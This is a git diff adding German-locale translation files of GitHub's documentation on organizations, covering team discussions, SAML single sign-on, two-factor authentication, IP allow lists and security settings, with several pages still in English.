+  - /github/setting-up-and-managing-organizations-and-teams/editing-or-deleting-a-team-discussion
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: Manage a team discussion
+ms.openlocfilehash: c09e9fa8645ef13dbae157fb5f951c843c8e0d24
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145130857'
+---
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team-discussions-tab %}
+6. Klicke neben der Teamdiskussion, die du bearbeiten oder löschen möchtest, auf {% octicon "kebab-horizontal" aria-label="The edit icon" %}.
+7. Klicken Sie auf **Bearbeiten**. Klicke optional auf **Löschen**.
+  ![Schaltfläche „Bearbeiten der Teamdiskussion“](/assets/images/help/projects/edit-team-discussions-button.png)
+8. Ändere den Titel und den Kommentar der Teamdiskussion nach Bedarf, und klicke auf **Kommentar aktualisieren**.
+  ![Schaltfläche „Kommentar aktualisieren“](/assets/images/help/projects/update-comment-button.png)
+
+## Weiterführende Themen
+
+  - [Informationen zu Teamdiskussionen](/organizations/collaborating-with-your-team/about-team-discussions)
+  - [Erstellen einer Teamdiskussion](/organizations/collaborating-with-your-team/creating-a-team-discussion)
+  - [Anheften einer Teamdiskussion](/organizations/collaborating-with-your-team/pinning-a-team-discussion)
diff --git a/translations/de-DE/content/organizations/collaborating-with-your-team/index.md b/translations/de-DE/content/organizations/collaborating-with-your-team/index.md
new file mode 100644
index 0000000000..3209cb877c
--- /dev/null
+++ b/translations/de-DE/content/organizations/collaborating-with-your-team/index.md
@@ -0,0 +1,28 @@
+---
+title: Mit Ihrem Team zusammenarbeiten
+intro: Innerhalb einer Organisation kann Dein Team mithilfe von Teamdiskussionen über mehrere Projekte hinweg zusammenarbeiten.
+redirect_from:
+  - /articles/collaborating-with-your-team
+  - /github/building-a-strong-community/collaborating-with-your-team
+  - /github/setting-up-and-managing-organizations-and-teams/collaborating-with-your-team
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+children:
+  - /about-team-discussions
+  - /creating-a-team-discussion
+  - /editing-or-deleting-a-team-discussion
+  - /pinning-a-team-discussion
+shortTitle: Collaborate with your team
+ms.openlocfilehash: ceba22c39b408d9fa60a2d362a024daac15ed84e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145130854'
+---
+
diff --git a/translations/de-DE/content/organizations/collaborating-with-your-team/pinning-a-team-discussion.md b/translations/de-DE/content/organizations/collaborating-with-your-team/pinning-a-team-discussion.md
new file mode 100644
index 0000000000..a224e1d0ae
--- /dev/null
+++ b/translations/de-DE/content/organizations/collaborating-with-your-team/pinning-a-team-discussion.md
@@ -0,0 +1,30 @@
+---
+title: Eine Teamdiskussion anheften
+intro: 'Du kannst wichtige Diskussionen auf den Teamseiten deiner Organisation anheften, damit sie schneller zu finden sind, und angeheftete Diskussionen, die nicht mehr relevant sind, wieder entfernen.'
+redirect_from:
+  - /articles/pinning-a-team-discussion
+  - /github/building-a-strong-community/pinning-a-team-discussion
+  - /github/setting-up-and-managing-organizations-and-teams/pinning-a-team-discussion
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+ms.openlocfilehash: 7676a5a17d22d683f953d894b04e864497145a66
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147877001'
+---
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team-discussions-tab %}
+5. Klicke neben der Teamdiskussion, die du anheften möchtest, auf {% octicon "pin" aria-label="The pin icon" %}. Du kannst eine angeheftete Diskussion auch wieder entfernen, indem Du auf das Symbol klickst.
+  ![Anheften einer Diskussion](/assets/images/help/projects/pin-discussion-button.png)
+
+## Weiterführende Themen
+
+  - [Informationen zu Teamdiskussionen](/organizations/collaborating-with-your-team/about-team-discussions)
+  - [Erstellen einer Teamdiskussion](/organizations/collaborating-with-your-team/creating-a-team-discussion)
+  - [ bearbeiten oder löschen einer Teamdiskussion](/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion)
diff --git a/translations/de-DE/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md b/translations/de-DE/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md
new file mode 100644
index 0000000000..adb9d914e2
--- /dev/null
+++ b/translations/de-DE/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md
@@ -0,0 +1,26 @@
+---
+title: About two-factor authentication and SAML single sign-on
+intro: Organizations administrators can enable both SAML single sign-on and two-factor authentication to add additional authentication measures for their organization members.
+redirect_from:
+  - /articles/about-two-factor-authentication-and-saml-single-sign-on
+  - /github/setting-up-and-managing-organizations-and-teams/about-two-factor-authentication-and-saml-single-sign-on
+versions:
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: 2FA & SAML single sign-on
+---
+
+Two-factor authentication (2FA) provides basic authentication for organization members. By enabling 2FA, organization administrators limit the likelihood that a member's account on {% data variables.location.product_location %} could be compromised. For more information on 2FA, see "[About two-factor authentication](/articles/about-two-factor-authentication)."
+
+To add additional authentication measures, organization administrators can also [enable SAML single sign-on (SSO)](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization) so that organization members must use single sign-on to access an organization. For more information on SAML SSO, see "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)."
+
+If both 2FA and SAML SSO are enabled, organization members must do the following:
+- Use 2FA to log in to their account on {% data variables.location.product_location %}
+- Use single sign-on to access the organization
+- Use an authorized token for API or Git access and use single sign-on to authorize the token
+
+## Further reading
+
+- "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)"
diff --git a/translations/de-DE/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md b/translations/de-DE/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md
new file mode 100644
index 0000000000..ec8368fe80
--- /dev/null
+++ b/translations/de-DE/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md
@@ -0,0 +1,24 @@
+---
+title: Zugriff auf Ihre Organisation mit SAML Single Sign-On gewähren
+intro: 'Organisationsadministratoren können den Zugriff auf ihre Organisation mit SAML Single-Sign-On gewähren. Dieser Zugriff kann Organisationsmitgliedern, Bots und Dienstkonten ermöglicht werden.'
+redirect_from:
+  - /articles/granting-access-to-your-organization-with-saml-single-sign-on
+  - /github/setting-up-and-managing-organizations-and-teams/granting-access-to-your-organization-with-saml-single-sign-on
+versions:
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+children:
+  - /managing-bots-and-service-accounts-with-saml-single-sign-on
+  - /viewing-and-managing-a-members-saml-access-to-your-organization
+  - /about-two-factor-authentication-and-saml-single-sign-on
+shortTitle: Grant access with SAML
+ms.openlocfilehash: bacc08fa00e639b8031939e9493b5b9c9487d14f
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '145130849'
+---
+
diff --git a/translations/de-DE/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md b/translations/de-DE/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md
new file mode 100644
index 0000000000..ead2c4b64a
--- /dev/null
+++ b/translations/de-DE/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md
@@ -0,0 +1,30 @@
+---
+title: Bots und Dienstkonten mit SAML Single Sign-On verwalten
+intro: 'Organisationen, für die SAML Single-Sign-On aktiviert ist, können den Zugriff von Bots und Dienstkonten beibehalten.'
+redirect_from:
+  - /articles/managing-bots-and-service-accounts-with-saml-single-sign-on
+  - /github/setting-up-and-managing-organizations-and-teams/managing-bots-and-service-accounts-with-saml-single-sign-on
+versions:
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Manage bots & service accounts
+ms.openlocfilehash: 57f1150929db674a658d52a5cb7e455444cc48de
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145130845'
+---
+Um Zugriff auf Bots und Dienstkonten zu behalten, können Organisationsadministratoren das SAML Single Sign-On für ihre Organisation [aktivieren](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization), aber **nicht** [erzwingen](/articles/enforcing-saml-single-sign-on-for-your-organization). Wenn Du SAML Single Sign-On für Deine Organisation erzwingen musst, kannst Du eine externe Identität für den Bot oder das Dienstkonto bei Deinem Identitätsanbieter (IdP) erstellen.
+
+{% warning %}
+
+**Hinweis:** Wenn Du SAML Single Sign-On für Deine Organisation erzwingst und **keine** externe Identitäten für Bots und Dienstkonten bei Deine IdP eingerichtet hast, werden die Bots und Dienstkonten aus Deiner Organisation entfernt.
+
+{% endwarning %}
+
+## Weitere Informationsquellen
+
+- „[Informationen zum Identitäts- und Zugriffsmanagement mit SAML Single Sign-On](/articles/about-identity-and-access-management-with-saml-single-sign-on)“
diff --git a/translations/de-DE/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md b/translations/de-DE/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md
new file mode 100644
index 0000000000..979337cd31
--- /dev/null
+++ b/translations/de-DE/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md
@@ -0,0 +1,76 @@
+---
+title: Viewing and managing a member's SAML access to your organization
+intro: 'You can view and revoke an organization member''s linked identity, active sessions, and authorized credentials.'
+permissions: Organization owners can view and manage a member's SAML access to an organization.
+redirect_from:
+  - /articles/viewing-and-revoking-organization-members-authorized-access-tokens
+  - /github/setting-up-and-managing-organizations-and-teams/viewing-and-revoking-organization-members-authorized-access-tokens
+  - /github/setting-up-and-managing-organizations-and-teams/viewing-and-managing-a-members-saml-access-to-your-organization
+versions:
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Manage SAML access
+---
+
+## About SAML access to your organization
+
+When you enable SAML single sign-on for your organization, each organization member can link their external identity on your identity provider (IdP) to their existing account on {% data variables.location.product_location %}. To access your organization's resources on {% data variables.product.product_name %}, the member must have an active SAML session in their browser. To access your organization's resources using the API or Git, the member must use a {% data variables.product.pat_generic %} or SSH key that the member has authorized for use with your organization.
+
+You can view and revoke each member's linked identity, active sessions, and authorized credentials on the same page.
+
+## Viewing and revoking a linked identity
+
+{% data reusables.saml.about-linked-identities %} 
+
+When available, the entry will include SCIM data. For more information, see "[About SCIM for organizations](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations)."
+
+{% warning %}
+
+**Warning:** For organizations using SCIM:
+- Revoking a linked user identity on {% data variables.product.product_name %} will also remove the SAML and SCIM metadata. As a result, the identity provider will not be able to synchronize or deprovision the linked user identity.
+- An admin must revoke a linked identity through the identity provider.
+- To revoke a linked identity and link a different account through the identity provider, an admin can remove and re-assign the user to the {% data variables.product.product_name %} application. For more information, see your identity provider's documentation.
+
+{% endwarning %}
+
+
+{% data reusables.identity-and-permissions.revoking-identity-team-sync %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.user-settings.access_org %}
+{% data reusables.organizations.people %}
+{% data reusables.saml.click-person-revoke-identity %}
+{% data reusables.saml.saml-identity-linked %}
+{% data reusables.saml.view-sso-identity %}
+{% data reusables.saml.revoke-sso-identity %}
+{% data reusables.saml.confirm-revoke-identity %}
+
+## Viewing and revoking an active SAML session
+
+{% data reusables.profile.access_org %}
+{% data reusables.user-settings.access_org %}
+{% data reusables.organizations.people %}
+{% data reusables.saml.click-person-revoke-session %}
+{% data reusables.saml.saml-identity-linked %}
+{% data reusables.saml.view-saml-sessions %}
+{% data reusables.saml.revoke-saml-session %}
+
+## Viewing and revoking authorized credentials
+
+{% data reusables.saml.about-authorized-credentials %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.user-settings.access_org %}
+{% data reusables.organizations.people %}
+{% data reusables.saml.click-person-revoke-credentials %}
+{% data reusables.saml.saml-identity-linked %}
+{% data reusables.saml.view-authorized-credentials %}
+{% data reusables.saml.revoke-authorized-credentials %}
+{% data reusables.saml.confirm-revoke-credentials %}
+
+## Further reading
+
+- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"{% ifversion ghec %}
+- "[Viewing and managing a user's SAML access to your enterprise account](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)"{% endif %}
diff --git a/translations/de-DE/content/organizations/index.md b/translations/de-DE/content/organizations/index.md
new file mode 100644
index 0000000000..490d82d8ae
--- /dev/null
+++ b/translations/de-DE/content/organizations/index.md
@@ -0,0 +1,59 @@
+---
+title: Organisationen und Teams
+shortTitle: Organizations
+intro: 'Organisationen ermöglichen dir, mit einer unbegrenzten Anzahl von Personen in vielen Projekten gleichzeitig zusammenzuarbeiten, während du den Zugriff auf deine Daten verwaltest und Einstellungen anpasst.'
+redirect_from:
+  - /articles/about-improved-organization-permissions
+  - /categories/setting-up-and-managing-organizations-and-teams
+  - /github/setting-up-and-managing-organizations-and-teams
+introLinks:
+  overview: /organizations/collaborating-with-groups-in-organizations/about-organizations
+featuredLinks:
+  guides:
+    - /get-started/learning-about-github/types-of-github-accounts
+    - /organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization
+    - /organizations/organizing-members-into-teams/about-teams
+  popular:
+    - /organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch
+    - /organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization
+    - /organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization
+    - /organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions
+    - '{% ifversion ghae %}/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization{% endif %}'
+  guideCards:
+    - /organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization
+    - /organizations/managing-membership-in-your-organization/adding-people-to-your-organization
+    - /organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository
+    - /organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization
+layout: product-landing
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+children:
+  - /collaborating-with-groups-in-organizations
+  - /managing-membership-in-your-organization
+  - /managing-peoples-access-to-your-organization-with-roles
+  - /organizing-members-into-teams
+  - /collaborating-with-your-team
+  - /managing-user-access-to-your-organizations-repositories
+  - /managing-access-to-your-organizations-project-boards
+  - /managing-programmatic-access-to-your-organization
+  - /managing-organization-settings
+  - /managing-oauth-access-to-your-organizations-data
+  - /keeping-your-organization-secure
+  - /managing-saml-single-sign-on-for-your-organization
+  - /granting-access-to-your-organization-with-saml-single-sign-on
+  - /managing-git-access-to-your-organizations-repositories
+  - /migrating-to-improved-organization-permissions
+ms.openlocfilehash: 3c5ee471d073bc94773607938b70ba4826eb8efb
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147877018'
+---
+
diff --git a/translations/de-DE/content/organizations/keeping-your-organization-secure/index.md b/translations/de-DE/content/organizations/keeping-your-organization-secure/index.md
new file mode 100644
index 0000000000..3b59bcfb79
--- /dev/null
+++ b/translations/de-DE/content/organizations/keeping-your-organization-secure/index.md
@@ -0,0 +1,21 @@
+---
+title: Keeping your organization secure
+intro: 'You can harden security for your organization by managing security settings,{% ifversion not ghae %} requiring two-factor authentication (2FA),{% endif %} and reviewing the activity and integrations within your organization.'
+redirect_from:
+  - /articles/preventing-unauthorized-access-to-organization-information
+  - /articles/keeping-your-organization-secure
+  - /github/setting-up-and-managing-organizations-and-teams/keeping-your-organization-secure
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+children:
+  - /managing-two-factor-authentication-for-your-organization
+  - /managing-security-settings-for-your-organization
+shortTitle: Organization security
+---
+
diff --git a/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/accessing-compliance-reports-for-your-organization.md b/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/accessing-compliance-reports-for-your-organization.md
new file mode 100644
index 0000000000..704f95983c
--- /dev/null
+++ b/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/accessing-compliance-reports-for-your-organization.md
@@ -0,0 +1,38 @@
+---
+title: Accessing compliance reports for your organization
+intro: 'You can access {% data variables.product.company_short %}''s compliance reports, such as our SOC reports and Cloud Security Alliance CAIQ self-assessment (CSA CAIQ), for your organization.'
+versions:
+  ghec: '*'
+type: how_to
+topics:
+  - Organizations
+  - Teams
+permissions: Organization owners can access compliance reports for the organization.
+shortTitle: Access compliance reports
+---
+
+## About {% data variables.product.company_short %}'s compliance reports
+
+You can access {% data variables.product.company_short %}'s compliance reports in your organization settings.
+
+{% data reusables.security.compliance-report-list %}
+
+
+{% note %}
+
+**Note:** To view compliance reports, your organization must use {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %}
+
+{% endnote %}
+
+## Accessing compliance reports for your organization
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.security %}
+1. Under "Compliance reports", to the right of the report you want to access, click {% octicon "download" aria-label="The Download icon" %} **Download** or {% octicon "link-external" aria-label="The external link icon" %} **View**.
+
+   {% data reusables.security.compliance-report-screenshot %}
+
+## Further reading
+
+- "[Accessing compliance reports for your enterprise](/admin/overview/accessing-compliance-reports-for-your-enterprise)"
diff --git a/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/index.md b/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/index.md
new file mode 100644
index 0000000000..4d565c3fa0
--- /dev/null
+++ b/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/index.md
@@ -0,0 +1,26 @@
+---
+title: Verwaltung der Sicherheitseinstellungen für deine Organisation
+shortTitle: Manage security settings
+intro: 'Du kannst Sicherheitseinstellungen verwalten und das Überwachungsprotokoll{% ifversion ghec %}, Complianceberichte{% endif %} und Integrationen für deine Organisation einsehen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+children:
+  - /managing-security-and-analysis-settings-for-your-organization
+  - /managing-allowed-ip-addresses-for-your-organization
+  - /restricting-email-notifications-for-your-organization
+  - /reviewing-the-audit-log-for-your-organization
+  - /accessing-compliance-reports-for-your-organization
+ms.openlocfilehash: f3170c9636a6d298ba1faad74018a7f8798215d3
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145130817'
+---
+
diff --git a/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization.md b/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization.md
new file mode 100644
index 0000000000..be572c1816
--- /dev/null
+++ b/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization.md
@@ -0,0 +1,113 @@
+---
+title: Managing allowed IP addresses for your organization
+intro: You can restrict access to your organization's private assets by configuring a list of IP addresses that are allowed to connect.
+redirect_from:
+  - /github/setting-up-and-managing-organizations-and-teams/managing-allowed-ip-addresses-for-your-organization
+  - /organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization
+versions:
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Manage allowed IP addresses
+permissions: Organization owners can manage allowed IP addresses for an organization.
+---
+
+## About allowed IP addresses
+
+You can restrict access to private organization assets by configuring an allow list for specific IP addresses. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %}
+
+{% ifversion ghec %}
+{% note %}
+
+**Note:** Only organizations that use {% data variables.product.prodname_ghe_cloud %} can use IP allow lists. {% data reusables.enterprise.link-to-ghec-trial %}
+
+{% endnote %}
+{% endif %}
+
+{% data reusables.identity-and-permissions.ip-allow-lists-cidr-notation %}
+
+{% data reusables.identity-and-permissions.ip-allow-lists-enable %}
+
+If you set up an allow list you can also choose to automatically add to your allow list any IP addresses configured for {% data variables.product.prodname_github_apps %} that you install in your organization. The creator of a {% data variables.product.prodname_github_app %} can configure an allow list for their application, specifying the IP addresses at which the application runs. By inheriting their allow list into yours, you avoid connection requests from the application being refused. For more information, see "[Allowing access by {% data variables.product.prodname_github_apps %}](#allowing-access-by-github-apps)."
+
+You can also configure allowed IP addresses for the organizations in an enterprise account. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)."
+
+## Adding an allowed IP address
+
+{% data reusables.identity-and-permissions.about-adding-ip-allow-list-entries %}
+
+{% data reusables.identity-and-permissions.ipv6-allow-lists %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.security %}
+{% data reusables.identity-and-permissions.ip-allow-lists-add-ip %}
+{% data reusables.identity-and-permissions.ip-allow-lists-add-description %}
+{% data reusables.identity-and-permissions.ip-allow-lists-add-entry %}
+{% data reusables.identity-and-permissions.check-ip-address %}
+
+## Enabling allowed IP addresses
+
+{% data reusables.identity-and-permissions.about-enabling-allowed-ip-addresses %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.security %}
+1. Under "IP allow list", select **Enable IP allow list**.
+  ![Checkbox to allow IP addresses](/assets/images/help/security/enable-ip-allowlist-organization-checkbox.png)
+1. Click **Save**.
+
+## Allowing access by {% data variables.product.prodname_github_apps %}
+
+If you're using an allow list, you can also choose to automatically add to your allow list any IP addresses configured for {% data variables.product.prodname_github_apps %} that you install in your organization. 
+
+{% data reusables.identity-and-permissions.ip-allow-lists-address-inheritance %}
+
+{% data reusables.apps.ip-allow-list-only-apps %}
+
+For more information about how to create an allow list for a {% data variables.product.prodname_github_app %} you have created, see "[Managing allowed IP addresses for a GitHub App](/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app)."
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.security %}
+1. Under "IP allow list", select **Enable IP allow list configuration for installed GitHub Apps**.
+  ![Checkbox to allow GitHub App IP addresses](/assets/images/help/security/enable-ip-allowlist-githubapps-checkbox.png)
+1. Click **Save**.
+
+## Editing an allowed IP address
+
+{% data reusables.identity-and-permissions.about-editing-ip-allow-list-entries %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.security %}
+{% data reusables.identity-and-permissions.ip-allow-lists-edit-entry %}
+{% data reusables.identity-and-permissions.ip-allow-lists-edit-ip %}
+{% data reusables.identity-and-permissions.ip-allow-lists-edit-description %}
+1. Click **Update**.
+{% data reusables.identity-and-permissions.check-ip-address %}
+
+{% ifversion ip-allow-list-address-check %}
+## Checking if an IP address is permitted
+
+{% data reusables.identity-and-permissions.about-checking-ip-address %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.security %}
+{% data reusables.identity-and-permissions.check-ip-address-step %}
+{% endif %}
+
+## Deleting an allowed IP address
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.security %}
+{% data reusables.identity-and-permissions.ip-allow-lists-delete-entry %}
+{% data reusables.identity-and-permissions.ip-allow-lists-confirm-deletion %}
+
+## Using {% data variables.product.prodname_actions %} with an IP allow list
+
+{% data reusables.actions.ip-allow-list-self-hosted-runners %}
diff --git a/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization.md b/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization.md
new file mode 100644
index 0000000000..bb75ec8494
--- /dev/null
+++ b/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization.md
@@ -0,0 +1,166 @@
+---
+title: Managing security and analysis settings for your organization
+intro: 'You can control features that secure and analyze the code in your organization''s projects on {% data variables.product.prodname_dotcom %}.'
+permissions: Organization owners can manage security and analysis settings for repositories in the organization.
+redirect_from:
+  - /github/setting-up-and-managing-organizations-and-teams/managing-secret-scanning-for-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/managing-security-and-analysis-settings-for-your-organization
+  - /organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Manage security & analysis
+---
+
+## About management of security and analysis settings
+
+{% data variables.product.prodname_dotcom %} can help secure the repositories in your organization. You can manage the security and analysis features for all existing or new repositories that members create in your organization. {% ifversion ghec %}If you have a license for {% data variables.product.prodname_GH_advanced_security %} then you can also manage access to these features. {% data reusables.advanced-security.more-info-ghas %}{% endif %}{% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %} with a license for {% data variables.product.prodname_GH_advanced_security %} can also manage access to these features. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization).{% endif %}
+
+{% data reusables.security.some-security-and-analysis-features-are-enabled-by-default %}
+{% data reusables.security.security-and-analysis-features-enable-read-only %}
+
+## Displaying the security and analysis settings
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.security-and-analysis %}
+
+The page that's displayed allows you to enable or disable all security and analysis features for the repositories in your organization.
+
+{% ifversion ghec %}If your organization belongs to an enterprise with a license for {% data variables.product.prodname_GH_advanced_security %}, the page will also contain options to enable and disable {% data variables.product.prodname_advanced_security %} features. Any repositories that use {% data variables.product.prodname_GH_advanced_security %} are listed at the bottom of the page.{% endif %}
+
+{% ifversion ghes %}If you have a license for {% data variables.product.prodname_GH_advanced_security %}, the page will also contain options to enable and disable {% data variables.product.prodname_advanced_security %} features. Any repositories that use {% data variables.product.prodname_GH_advanced_security %} are listed at the bottom of the page.{% endif %}
+
+{% ifversion ghae %}The page will also contain options to enable and disable {% data variables.product.prodname_advanced_security %} features. Any repositories that use {% data variables.product.prodname_GH_advanced_security %} are listed at the bottom of the page.{% endif %}
+
+## Enabling or disabling a feature for all existing repositories
+
+You can enable or disable features for all repositories. 
+{% ifversion fpt or ghec %}The impact of your changes on repositories in your organization is determined by their visibility:
+
+- **Dependency graph** - Your changes affect only private repositories because the feature is always enabled for public repositories.
+- **{% data variables.product.prodname_dependabot_alerts %}** - Your changes affect all repositories.
+- **{% data variables.product.prodname_dependabot_security_updates %}** - Your changes affect all repositories.
+{%- ifversion ghec %}
+- **{% data variables.product.prodname_GH_advanced_security %}** - Your changes affect only private repositories because {% data variables.product.prodname_GH_advanced_security %} and the related features are always enabled for public repositories.
+- **{% data variables.product.prodname_secret_scanning_caps %}** - Your changes affect repositories where {% data variables.product.prodname_GH_advanced_security %} is also enabled. This option controls whether or not {% data variables.product.prodname_secret_scanning_GHAS %} is enabled. {% data variables.product.prodname_secret_scanning_partner_caps %} always runs on all public repositories.
+{% endif %}
+
+{% endif %}
+
+{% data reusables.advanced-security.note-org-enable-uses-seats %}
+
+{% ifversion ghes or ghec or ghae %}
+{% note %}
+
+**Note:** If you encounter an error that reads "GitHub Advanced Security cannot be enabled because of a policy setting for the organization," contact your enterprise admin and ask them to change the GitHub Advanced Security policy for your enterprise. For more information, see "[Enforcing policies for Advanced Security in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise)."
+{% endnote %}
+{% endif %}
+
+1. Go to the security and analysis settings for your organization. For more information, see "[Displaying the security and analysis settings](#displaying-the-security-and-analysis-settings)."
+2. Under "Code security and analysis", to the right of the feature, click **Disable all** or **Enable all**. {% ifversion ghes or ghec %}The control for "{% data variables.product.prodname_GH_advanced_security %}" is disabled if you have no available seats in your {% data variables.product.prodname_GH_advanced_security %} license.{% endif %}
